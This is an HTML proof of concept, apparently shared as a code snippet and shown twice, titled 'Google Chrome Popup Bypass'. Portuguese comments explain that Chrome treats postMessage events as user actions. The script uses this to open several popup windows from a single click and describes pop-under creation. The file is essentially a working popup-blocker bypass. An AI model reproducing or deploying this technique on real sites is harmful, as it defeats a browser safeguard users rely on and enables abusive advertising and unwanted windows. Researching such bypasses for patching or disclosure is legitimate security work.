matpratta/popups-infinitos.html

## popups-infinitos.html
<!DOCTYPE html>
<html>
<head>
	<title>Google Chrome Popup Bypass</title>
	<script type="text/javascript">
	/**
	* Fonte: Custom Chromium Build to Reverse Engineer Pop-Under Trick <https://www.youtube.com/watch?v=y6Uzinz3DRU>
	* Por algum motivo, os eventos "message" do Chrome são tratados como ações causadas pelo usuário, o que resulta na possibilidade de se criar popups infinitos, sem qualquer interação do usuário.
	* Também possibilita exibir mais de um popup a partir de cliques de mouse e até mesmo a criação de "popunder", um popup que fica abaixo da janela atual.
	*/

	function pwnd () {
		for (var i = 0; i < 10; i++) {
			console.log('Chrome got pwnd', i, 'times');
			window.postMessage(1, document.location);
		}
	}

	window.addEventListener('message', function (a) {
		if (a.data == 1) {
			window.open('https://google.com', '_blank', 'width=600,height=400,top=10,left=10,status=0,location=0,toolbar=0,menubar=0,resizable=0,scrollbars=1');
		}
	});
	</script>
</head>
<body>
	<a href="#" onclick="pwnd()">test</a>
</body>
</html>
	<!DOCTYPE html>
	<html>
	<head>
	<title>Google Chrome Popup Bypass</title>
	<script type="text/javascript">
	/**
	* Fonte: Custom Chromium Build to Reverse Engineer Pop-Under Trick <https://www.youtube.com/watch?v=y6Uzinz3DRU>
	* Por algum motivo, os eventos "message" do Chrome são tratados como ações causadas pelo usuário, o que resulta na possibilidade de se criar popups infinitos, sem qualquer interação do usuário.
	* Também possibilita exibir mais de um popup a partir de cliques de mouse e até mesmo a criação de "popunder", um popup que fica abaixo da janela atual.
	*/

	function pwnd () {
	for (var i = 0; i < 10; i++) {
	console.log('Chrome got pwnd', i, 'times');
	window.postMessage(1, document.location);
	}
	}

	window.addEventListener('message', function (a) {
	if (a.data == 1) {
	window.open('https://google.com', '_blank', 'width=600,height=400,top=10,left=10,status=0,location=0,toolbar=0,menubar=0,resizable=0,scrollbars=1');
	}
	});
	</script>
	</head>
	<body>
	<a href="#" onclick="pwnd()">test</a>
	</body>
	</html>